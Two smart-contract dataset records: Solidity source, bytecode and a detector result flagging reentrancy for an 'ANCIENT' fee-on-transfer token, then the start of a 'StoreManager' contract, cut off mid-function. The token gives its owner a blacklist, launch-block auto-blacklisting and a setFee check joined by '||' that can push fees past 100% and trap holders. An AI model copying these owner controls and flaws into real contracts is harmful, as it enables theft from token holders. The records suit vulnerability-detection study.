uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ANCIENT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ANCIENT";//
string private constant _symbol = "ANCIENT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 8;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 5;//
uint256 private _taxFeeOnSell = 8;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x492dFa88BBf81A2CDe0F043E2C474DBEe1D5Ff1C);//
address payable private _marketingAddress = payable(0x492dFa88BBf81A2CDe0F043E2C474DBEe1D5Ff1C);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 18000000 * 10**9; //
uint256 public _maxWalletSize = 18000000 * 10**9; //
uint256 public _swapTokensAtAmount = 10000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
if (!_isExcludedFromFee[_msgSender()]) _approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
uint256 feeRatio = _taxFeeOnBuy.div(_taxFeeOnSell);
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading() public onlyOwner {
tradingOpen = true;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
uint256 totalSellFee = redisFeeOnSell + taxFeeOnSell;
uint256 totalBuyFee = redisFeeOnBuy + taxFeeOnBuy;
require(totalSellFee <= 100 || totalBuyFee <= 100, "Fees must be under 100%");
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
require(maxTxAmount >= _tTotal / 1000, "Cannot set maxTxAmount lower than 0.1%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
require(maxWalletSize >= _tTotal / 1000, "Cannot set maxWalletSize lower than 0.1%");
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461050a578063dd62ed3e14610520578063ea1644d514610566578063f2fde38b1461058657600080fd5b8063a9059cbb14610485578063bfd79284146104a5578063c3c8cd80146104d5578063c492f046146104ea57600080fd5b80638f9a55c0116100d15780638f9a55c01461042f57806395d89b41146101fe57806398a5c31514610445578063a2a957bb1461046557600080fd5b80637c519ffb146103e65780637d1db4a5146103fb5780638da5cb5b1461041157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037c57806370a0823114610391578063715018a6146103b157806374010ece146103c657600080fd5b8063313ce5671461030057806349bd5a5e1461031c5780636b9990531461033c5780636d8aa8f81461035c57600080fd5b80631694505e116101ab5780631694505e1461026d57806318160ddd146102a557806323b872dd146102ca5780632fd689e3146102ea57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023d57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611cd7565b6105a6565b005b34801561020a57600080fd5b506040805180820182526007815266105390d251539560ca1b602082015290516102349190611e01565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611c2d565b610653565b6040519015158152602001610234565b34801561027957600080fd5b5060155461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50670de0b6b3a76400005b604051908152602001610234565b3480156102d657600080fd5b5061025d6102e5366004611bed565b61066a565b3480156102f657600080fd5b506102bc60195481565b34801561030c57600080fd5b5060405160098152602001610234565b34801561032857600080fd5b5060165461028d906001600160a01b031681565b34801561034857600080fd5b506101fc610357366004611b7d565b6106ea565b34801561036857600080fd5b506101fc610377366004611d9e565b610735565b34801561038857600080fd5b506101fc61077d565b34801561039d57600080fd5b506102bc6103ac366004611b7d565b6107c8565b3480156103bd57600080fd5b506101fc6107ea565b3480156103d257600080fd5b506101fc6103e1366004611db8565b61085e565b3480156103f257600080fd5b506101fc6108ff565b34801561040757600080fd5b506102bc60175481565b34801561041d57600080fd5b506000546001600160a01b031661028d565b34801561043b57600080fd5b506102bc60185481565b34801561045157600080fd5b506101fc610460366004611db8565b610942565b34801561047157600080fd5b506101fc610480366004611dd0565b610971565b34801561049157600080fd5b5061025d6104a0366004611c2d565b610a30565b3480156104b157600080fd5b5061025d6104c0366004611b7d565b60116020526000908152604090205460ff1681565b3480156104e157600080fd5b506101fc610a3d565b3480156104f657600080fd5b506101fc610505366004611c58565b610a91565b34801561051657600080fd5b506102bc60085481565b34801561052c57600080fd5b506102bc61053b366004611bb5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561057257600080fd5b506101fc610581366004611db8565b610b40565b34801561059257600080fd5b506101fc6105a1366004611b7d565b610be3565b6000546001600160a01b031633146105d95760405162461bcd60e51b81526004016105d090611e54565b60405180910390fd5b60005b815181101561064f5760016011600084848151811061060b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064781611f67565b9150506105dc565b5050565b6000610660338484610ccd565b5060015b92915050565b6000610677848484610df1565b3360009081526005602052604090205460ff166106e0576106e084336106db85604051806060016040528060288152602001611fc4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906113bf565b610ccd565b5060019392505050565b6000546001600160a01b031633146107145760405162461bcd60e51b81526004016105d090611e54565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461075f5760405162461bcd60e51b81526004016105d090611e54565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107b257506014546001600160a01b0316336001600160a01b0316145b6107bb57600080fd5b476107c5816113f9565b50565b6001600160a01b0381166000908152600260205260408120546106649061147e565b6000546001600160a01b031633146108145760405162461bcd60e51b81526004016105d090611e54565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108885760405162461bcd60e51b81526004016105d090611e54565b61089c6103e8670de0b6b3a7640000611f11565b8110156108fa5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b60648201526084016105d0565b601755565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016105d090611e54565b6016805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b0316331461096c5760405162461bcd60e51b81526004016105d090611e54565b601955565b6000546001600160a01b0316331461099b5760405162461bcd60e51b81526004016105d090611e54565b6009849055600b839055600a829055600c81905560006109bb8285611ef9565b905060006109c98487611ef9565b90506064821115806109dc575060648111155b610a285760405162461bcd60e51b815260206004820152601760248201527f46656573206d75737420626520756e646572203130302500000000000000000060448201526064016105d0565b505050505050565b6000610660338484610df1565b6013546001600160a01b0316336001600160a01b03161480610a7257506014546001600160a01b0316336001600160a01b0316145b610a7b57600080fd5b6000610a86306107c8565b90506107c581611502565b6000546001600160a01b03163314610abb5760405162461bcd60e51b81526004016105d090611e54565b60005b82811015610b3a578160056000868685818110610aeb57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610b009190611b7d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b3281611f67565b915050610abe565b50505050565b6000546001600160a01b03163314610b6a5760405162461bcd60e51b81526004016105d090611e54565b610b7e6103e8670de0b6b3a7640000611f11565b811015610bde5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b60648201526084016105d0565b601855565b6000546001600160a01b03163314610c0d5760405162461bcd60e51b81526004016105d090611e54565b6001600160a01b038116610c725760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d2f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105d0565b6001600160a01b038216610d905760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105d0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d0565b6001600160a01b038216610eb75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d0565b60008111610f195760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105d0565b6000546001600160a01b03848116911614801590610f4557506000546001600160a01b03838116911614155b1561129d57601654600160a01b900460ff16610fde576000546001600160a01b03848116911614610fde5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105d0565b6017548111156110305760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105d0565b6001600160a01b03831660009081526011602052604090205460ff1615801561107257506001600160a01b03821660009081526011602052604090205460ff16155b6110ca5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105d0565b60085443111580156110e957506016546001600160a01b038481169116145b801561110357506015546001600160a01b03838116911614155b801561111857506001600160a01b0382163014155b15611141576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146111c65760185481611163846107c8565b61116d9190611ef9565b106111c65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105d0565b60006111d1306107c8565b6019546017549192508210159082106111ea5760175491505b8080156112015750601654600160a81b900460ff16155b801561121b57506016546001600160a01b03868116911614155b80156112305750601654600160b01b900460ff165b801561125557506001600160a01b03851660009081526005602052604090205460ff16155b801561127a57506001600160a01b03841660009081526005602052604090205460ff16155b1561129a5761128882611502565b47801561129857611298476113f9565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112df57506001600160a01b03831660009081526005602052604090205460ff165b8061131157506016546001600160a01b0385811691161480159061131157506016546001600160a01b03848116911614155b1561131e575060006113b3565b6016546001600160a01b03858116911614801561134957506015546001600160a01b03848116911614155b1561135b57600954600d55600a54600e555b6016546001600160a01b03848116911614801561138657506015546001600160a01b03858116911614155b156113b35760006113a4600c54600a546116a790919063ffffffff16565b5050600b54600d55600c54600e555b610b3a848484846116e9565b600081848411156113e35760405162461bcd60e51b81526004016105d09190611e01565b5060006113f08486611f50565b95945050505050565b6013546001600160a01b03166108fc6114138360026116a7565b6040518115909202916000818181858888f1935050505015801561143b573d6000803e3d6000fd5b506014546001600160a01b03166108fc6114568360026116a7565b6040518115909202916000818181858888f1935050505015801561064f573d6000803e3d6000fd5b60006006548211156114e55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105d0565b60006114ef611717565b90506114fb83826116a7565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061155857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115ac57600080fd5b505afa1580156115c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115e49190611b99565b8160018151811061160557634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260155461162b9130911684610ccd565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611664908590600090869030904290600401611e89565b600060405180830381600087803b15801561167e57600080fd5b505af1158015611692573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b60006114fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173a565b806116f6576116f6611768565b611701848484611796565b80610b3a57610b3a600f54600d55601054600e55565b600080600061172461188d565b909250905061173382826116a7565b9250505090565b6000818361175b5760405162461bcd60e51b81526004016105d09190611e01565b5060006113f08486611f11565b600d541580156117785750600e54155b1561177f57565b600d8054600f55600e805460105560009182905555565b6000806000806000806117a8876118cd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117da908761192a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611809908661196c565b6001600160a01b03891660009081526002602052604090205561182b816119cb565b6118358483611a15565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187a91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006118a882826116a7565b8210156118c457505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006118ea8a600d54600e54611a39565b92509250925060006118fa611717565b9050600080600061190d8e878787611a8e565b919e509c509a509598509396509194505050505091939550919395565b60006114fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113bf565b6000806119798385611ef9565b9050838110156114fb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105d0565b60006119d5611717565b905060006119e38383611ade565b30600090815260026020526040902054909150611a00908261196c565b30600090815260026020526040902055505050565b600654611a22908361192a565b600655600754611a32908261196c565b6007555050565b6000808080611a536064611a4d8989611ade565b906116a7565b90506000611a666064611a4d8a89611ade565b90506000611a7e82611a788b8661192a565b9061192a565b9992985090965090945050505050565b6000808080611a9d8886611ade565b90506000611aab8887611ade565b90506000611ab98888611ade565b90506000611acb82611a78868661192a565b939b939a50919850919650505050505050565b600082611aed57506000610664565b6000611af98385611f31565b905082611b068583611f11565b146114fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105d0565b8035611b6881611fae565b919050565b80358015158114611b6857600080fd5b600060208284031215611b8e578081fd5b81356114fb81611fae565b600060208284031215611baa578081fd5b81516114fb81611fae565b60008060408385031215611bc7578081fd5b8235611bd281611fae565b91506020830135611be281611fae565b809150509250929050565b600080600060608486031215611c01578081fd5b8335611c0c81611fae565b92506020840135611c1c81611fae565b929592945050506040919091013590565b60008060408385031215611c3f578182fd5b8235611c4a81611fae565b946020939093013593505050565b600080600060408486031215611c6c578283fd5b833567ffffffffffffffff80821115611c83578485fd5b818601915086601f830112611c96578485fd5b813581811115611ca4578586fd5b8760208260051b8501011115611cb8578586fd5b602092830195509350611cce9186019050611b6d565b90509250925092565b60006020808385031215611ce9578182fd5b823567ffffffffffffffff80821115611d00578384fd5b818501915085601f830112611d13578384fd5b813581811115611d2557611d25611f98565b8060051b604051601f19603f83011681018181108582111715611d4a57611d4a611f98565b604052828152858101935084860182860187018a1015611d68578788fd5b8795505b83861015611d9157611d7d81611b5d565b855260019590950194938601938601611d6c565b5098975050505050505050565b600060208284031215611daf578081fd5b6114fb82611b6d565b600060208284031215611dc9578081fd5b5035919050565b60008060008060808587031215611de5578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611e2d57858101830151858201604001528201611e11565b81811115611e3e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ed85784516001600160a01b031683529383019391830191600101611eb3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611f0c57611f0c611f82565b500190565b600082611f2c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611f4b57611f4b611f82565b500290565b600082821015611f6257611f62611f82565b500390565b6000600019821415611f7b57611f7b611f82565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201ef2d06c60a3e0d8e1cbc2382ac308f5b54ffede061ea42c443fc7c3488d430b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,264 |
0xf36a1c42a7a58801254a53ac54b0b5164698b8d4
|
pragma solidity ^0.4.18;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
// File: openzeppelin-solidity/contracts/ownership/HasNoEther.sol
/**
* @title Contracts that should not own Ether
* @author Remco Bloemen <remco@2π.com>
* @dev This tries to block incoming ether to prevent accidental loss of Ether. Should Ether end up
* in the contract, it will allow the owner to reclaim this ether.
* @notice Ether can still be send to this contract by:
* calling functions labeled `payable`
* `selfdestruct(contract_address)`
* mining directly to the contract address
*/
contract HasNoEther is Ownable {
/**
* @dev Constructor that rejects incoming Ether
* @dev The `payable` flag is added so we can access `msg.value` without compiler warning. If we
* leave out payable, then Solidity will allow inheriting contracts to implement a payable
* constructor. By doing it this way we prevent a payable constructor from working. Alternatively
* we could use assembly to access msg.value.
*/
function HasNoEther() public payable {
require(msg.value == 0);
}
/**
* @dev Disallows direct send by settings a default function without the `payable` flag.
*/
function() external {
}
/**
* @dev Transfer all Ether held by the contract to the owner.
*/
function reclaimEther() external onlyOwner {
assert(owner.send(this.balance));
}
}
// File: contracts/StoreManager.sol
interface StoreInterface {
function getAppNickname()
external
constant returns (bytes32);
function getAppId()
external
constant returns (uint);
function getAddressLastUpdate(
address _address
)
external
constant returns (uint);
function isUpgradable(
address _address,
string _uid
)
public
constant returns (bool);
function isUid(
string _uid
)
public
view
returns (bool);
function setIdentity(
address _address,
string _uid
)
external;
function unsetIdentity(
address _address
)
external;
}
/**
* @title StoreManager
* @author Francesco Sullo <francesco@sullo.co>
* @dev Sets and removes tweedentities in the store,
* adding more logic to the simple logic of the store
*/
contract StoreManager
is Pausable, HasNoEther
{
string public fromVersion = "1.0.0";
struct Store {
StoreInterface store;
address addr;
bool active;
}
mapping(uint => Store) private __stores;
uint public totalStores;
mapping(uint => bytes32) public appNicknames32;
mapping(uint => string) public appNicknames;
mapping(string => uint) private __appIds;
address public claimer;
address public newClaimer;
mapping(address => bool) public customerService;
address[] private __customerServiceAddress;
uint public upgradable = 0;
uint public notUpgradableInStore = 1;
uint public addressNotUpgradable = 2;
uint public minimumTimeBeforeUpdate = 1 hours;
// events
event StoreSet(
string appNickname,
address indexed addr
);
event ClaimerSet(
address indexed claimer,
bool isNew
);
event StoreActive(
string appNickname,
address indexed store,
bool active
);
event ClaimerSwitch(
address indexed oldClaimer,
address indexed newClaimer
);
event CustomerServiceSet(
address indexed addr
);
event IdentityNotUpgradable(
string appNickname,
address indexed addr,
string uid
);
event MinimumTimeBeforeUpdateChanged(
uint _newMinimumTime
);
// config
/**
* @dev Sets a store to be used by the manager
* @param _appNickname The nickname of the app for which the store's been configured
* @param _address The address of the store
*/
function setAStore(
string _appNickname,
address _address
)
public
onlyOwner
{
require(bytes(_appNickname).length > 0);
bytes32 _appNickname32 = keccak256(_appNickname);
require(_address != address(0));
StoreInterface _store = StoreInterface(_address);
require(_store.getAppNickname() == _appNickname32);
uint _appId = _store.getAppId();
require(appNicknames32[_appId] == 0x0);
